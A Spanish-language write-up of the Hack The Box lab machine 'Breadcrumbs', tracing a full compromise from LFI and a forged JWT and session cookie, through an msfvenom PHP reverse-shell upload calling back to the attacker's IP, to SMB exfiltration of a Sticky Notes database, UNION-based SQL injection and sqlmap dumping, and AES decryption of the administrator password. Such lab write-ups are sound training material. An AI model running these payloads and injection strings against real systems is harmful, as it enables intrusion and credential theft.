Hack the Box - Breadcrumb Writeup
- 14 minsSummary
Breadcrumbs es una VM Hard de HackTheBox en el cual utilizamos LFI para hacernos con informacion del usuario Paul para crear un token JWT, una vez logueados, tenemos la opcion de subir un archivo, el mismo tiene un filtro del lado del cliente que valida la extension .zip, hacemos un bypass con Burpsuite y obtenemos un foothold como WWW-Data, luego encontramos las credenciales del usuario Juliette en un .json, ahora ya tenemos nuestra primera flag, tenemos un hint en el desktop que nos apunta hacia Sticky Note, hacemos un hunting hacia el mismo y encontramos una DB del cual obtenemos un leak con sqlite3, con esto nos hacemos con el usuario Development :D, tenemos acceso a el directorio C:\Development en el cual hay un binario, analizando el mismo encontramos una ruta http que nos proporciona una AES Key, luego procedemos a hacer SQLi (ya sea de forma manual o haciendo un fordward del puerto y usar sqlmap), obtenemos un password de Administrator, el mismo lo desciframos con base64 y el output lo pasamos a AES Decrypt en Cyberchef y usando la Key obtenemos el password para loguearnos como Admin.
Info de la maquina
VM column | Detalles |
---|---|
Nombre | Breadcrumbs |
Dificultad | Hard |
Release | 20 Feb 2021 |
OS | Windows |
IP | 10.10.10.228 |
Editamos /etc/hosts y agregamos la IP 10.10.10.228 que apunte hacia breadcrumbs.htb
Escaneo de Puertos
Escaneamos los puertos con Masscan y Nmap, utilizando Masscan_To_Nmap , esta herramienta escanea puertos TCP y UDP, toma los abiertos y ejecuta Nmap en búsqueda de servicios y scripts por default, mas info y donde conseguir el script:
Ejecutamos el script : sudo python3 masscan_to_nmap.py -i 10.10.10.228
Muchos puertos
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-15 04:34 BST
Nmap scan report for breadcrumbs.htb (10.10.10.228)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| Kerberos, LANDesk-RC, SMBProgNeg:
|_ Host '10.10.14.29' is not allowed to connect to this MariaDB server
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Enum
Entre los conocidos, tenemos Websites, SSH, MariaDB, estos dos ultimos no nos sirven de nada por ahora, asi que empecemos por el puerto 80 y 443.
Identificamos la tecnologia con whatweb:
El Main Site(es lo mismo en ambos puertos):
Verificamos algun libro :
Interceptamos con Burpsuite cuando le damos a search:
Ahora interceptamos cuando ejecutamos Book:
Si cambiamos el valor de la variable method en ambos request, nos da casi el mismo error excepto algo.
En uno de los dos request tenemos un potencial LFI :
Warning: file_get_contents(../books/): Failed to open stream: No such file or directory in C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php on line 28
false
Utilizaremos bruteforce directory para buscar posibles files que podamos aprovechar con este LFI.
Bruteforce directory
Existen varias herramientas para esto, en mi caso utilizare gobuster
gobuster dir -u http://breadcrumbs.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
Tenemos unos cuantos directorios interesantes:
Si vamos a : http://breadcrumbs.htb/portal/login.php
encontraremos un href que nos lleva hacia http://breadcrumbs.htb/portal/php/admins.php
:happy: retrocedemos una vez y obtenemos:
Con esto y LFI, procederemos a indagar en esos mismos archivos.
LFI II
Vamos a empezar con /db/db.php
Tenemos la siguientes credenciales :
bread|jUli901
Lamentablemente no tenemos acceso externalmente, ahora seguiremos con el siguiente archivo:
book=../portal/includes/filecontroller.php&method=1
Obtenemos una secret key del usuario Paul
secret key = 6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e
Si miramos atentamente es JWT, asi que podemos crear un token JWT para pretender que somos Paul.
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI
Ahora necesitaremos el PHPSESSID, para esto verificaremos la siguiente ruta:
book=../portal/cookie.php&method=1
Atento al mensaje, nos aconsejan no usar el default PHPSESSID, sin embargo, ese codigo, tenemos lo necesario para armar el nuestro, El phpsessid se crea mediante un string de hash md5 utilizando el nombre de usuario(mas arriba, en el portal tenemos una serie de usuarios “Admins”, pero como hemos encontrado un secret key de paul, El sera nuestro target)
<?php
$username = "paul";
$max = strlen($username) -1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$cookie = $username.md5($key);
echo $cookie;
?>
Nota: No me cruxifiquen por no usar una funcion.
Aparentemente funciona procederemos a generar varios:
for i in {0..10};do php cookie.php;echo '';sleep 1;done
Foothold : Portal autentication Paul
Ahora vamos a loguearnos como Paul con una de esas cookies.
Nos dirigimos hacia : http://breadcrumbs.htb/portal/php/files.php
Si intentamos subir algo :
No funciona, sin embargo mas arriba ya tenemos nuestro Token :) : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJgu G8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI
Antes de continuar, nos tenemos que plantear el escenario, tenemos un File Upload que solo acepta .zip , no sabemos que tipo de filtro hay dentras(del lado del cliente o servidor). En el BruteForce Directory, encontramos una ruta interesante /js entre lo cual destaca :
Tenemos un filtro del lado del cliente, bastante sencillo de bypassear, para esto usamos Burp, msfvenom, subimos el archivo como .zip y con burp lo editamos a .php <—-Ojo con eso.
msfvenom -p php/reverse_php LHOST=10.10.14.29 LPORT=4444 -f raw > gali.zip
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3022 bytes
#Dejamos netcat escuchando en el puerto 4444
Success!
Ahora vamos a /uploads :
http://breadcrumbs.htb/portal/uploads/
En mi caso seria : http://breadcrumbs.htb/portal/uploads/gali.php
Somos www-data :D
Juliette Part
Esta es la parte facil, enumerando encontramos un file interesante en
C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>
type juliette.json
Tenemos la siguiente credenciales
juliette | jUli901./())!
…Y si recordamos los puertos abiertos, el 22 esta open, y estas credenciales funcionan :D
Si verificamos todo.html
<html><style>html{background:black;color:orange;}table,th,td{border:1px solid orange;padding:1em;border-collapse:collapse;}</style><table> <tr> <th>Task</th> <th>Status</th> <th>Reason</th> </tr> <tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td> </tr> <tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td> </tr> <tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td> </tr></table></html>
Asi que basicamente tenemos que hacer hunting en los Sticky Notes El mismo se ubica en %AppData%
Nos pasamos a Powershell y hacemos una busquedad recursiva:
Get-ChildItem -recurse | select-object fullname | select-string "sticky"
En el directorio :
C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Nos encontramos con :
Bien, podemos transferirnos con nc o via smb, prefiero la 2da.
Subimos un servidor SMB:
sudo impacket-smbserver parrot . -smb2support
Copiamos el contenido a nuestra maquina.
copy * \\10.10.xx.xx\\parrot
Interactuamos con la db que nos descargamos con sqlite3
sqlite3 plum.sqlite #Usamos sqlite3 para interactuar con la DBSQLite version 3.34.1 2021-01-20 14:10:07Enter ".help" for usage hints.sqlite> .tables #Listamos las tablasMedia Stroke SyncState User Note StrokeMetadata UpgradedNote sqlite> PRAGMA table_info(Note); #Informacion de la tabla `Note` que es nuestro target.0|Text|varchar|0||01|WindowPosition|varchar|0||02|IsOpen|integer|0||03|IsAlwaysOnTop|integer|0||04|CreationNoteIdAnchor|varchar|0||05|Theme|varchar|0||06|IsFutureNote|integer|0||07|RemoteId|varchar|0||08|ChangeKey|varchar|0||09|LastServerVersion|varchar|0||010|RemoteSchemaVersion|integer|0||011|IsRemoteDataInvalid|integer|0||012|Type|varchar|0||013|Id|varchar|1||114|ParentId|varchar|0||015|CreatedAt|bigint|0||016|DeletedAt|bigint|0||017|UpdatedAt|bigint|0||0select * from Note;\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())! #Esta creds ya la tenemos\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g #Nuevas creds :)\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|1|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122
Tenemos unas nuevas creds
development: fN3)sN5Ee@g #Sirven para SSH, asi que nos logueamos.
Development Part
Ya estamos con el usuario Development, hay un directorio que llama la atencion en C:\Development
Tenemos un binario, lo pasamos igual que la DB de mas arriba y procederemos a destriparlo con strace (esto no es mi fuerte hehe)
strace ./Krypter_Linux
Antes de intentar con un dissembler, vamos a utilizar strings (shame!!!) en busqueda del pass:
strings ./Krypter_Linux | grep -i pass
Pasamos la prueba
Tenemos lo siguiente :
Get password from cloud and AUTOMATICALLY decrypt!http://passmanager.htb:1234/index.phpmethod=select&username=administrator&table=passwords
Ese puerto no lo identificamos en nuestro escaneo, usamos netstat -ant
para verificar internalmente
Asi que procedemos:
curl "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"
Nos arroja devuelta esto:
selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" }}
Tenemos una key AES. Apartir de aqui podemos proceder de dos formas, SQLi manual o SQLMAP. Hagamos las dos.
SQLi Manual
Vamos hacer un Union Select
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+1%23&table=passwords"
Identifiquemos la DB
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+database()%23&table=passwords"selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(5) "bread" }}
DB: Bread
Ahora sacamos las tablas:
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='bread'%23&table=passwords"selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(9) "passwords" }}
Luego vamos por la columnas:
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='passwords'%23&table=passwords"selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(27) "id,account,password,aes_key" }}
y por ultimo sacamos el id,account y password:
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(id,account,password)+from+bread.passwords%23&table=passwords"selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(58) "1AdministratorH2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=" }}#Separandolo un poco tenemos : 1 Administrator H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
SQLi guiado/auto
Para esto hacemos un fordward del puerto por ssh
ssh -f -N -L 1234:127.0.0.1:1234 development@breadcrumbs.htb
Verificamos con netstat -antp
Ahora usamos sqlmap
sqlmap -u "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords" --dump
Database: breadTable: passwords[1 entry]+----+---------------+------------------+----------------------------------------------+| id | account | aes_key | password |+----+---------------+------------------+----------------------------------------------+| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |+----+---------------+------------------+----------------------------------------------+
Administrator
Completando las piezas tenemos:
ID = 1Account = AdministratorAES KEY = k19D193j.<19391(Password = H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
El procedimiento es bastante sencillo
- Desde el password lo desciframos con base64
- El Output lo pasamos a AES, tanto el input como el ouput a raw, le pasamos la KEY y el IV tantos ceros como nos pide para sastifacer lo esperado.
-
[Password desde CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,false)AES_Decrypt(%7B’option’:’Latin1’,’string’:’k19D193j.%3C19391(‘%7D,%7B’option’:’Hex’,’string’:’0000000000000000000000000000000’%7D,’CBC’,’Raw’,’Raw’,%7B’option’:’Hex’,’string’:’‘%7D,%7B’option’:’Hex’,’string’:’‘%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0)
Nota: Si estan muy inspirados, pueden hacer un script en python :D importanto AES y Base64
Habemus password de Administrator : p@ssw0rd!@#$9890./
Another machine pwnead!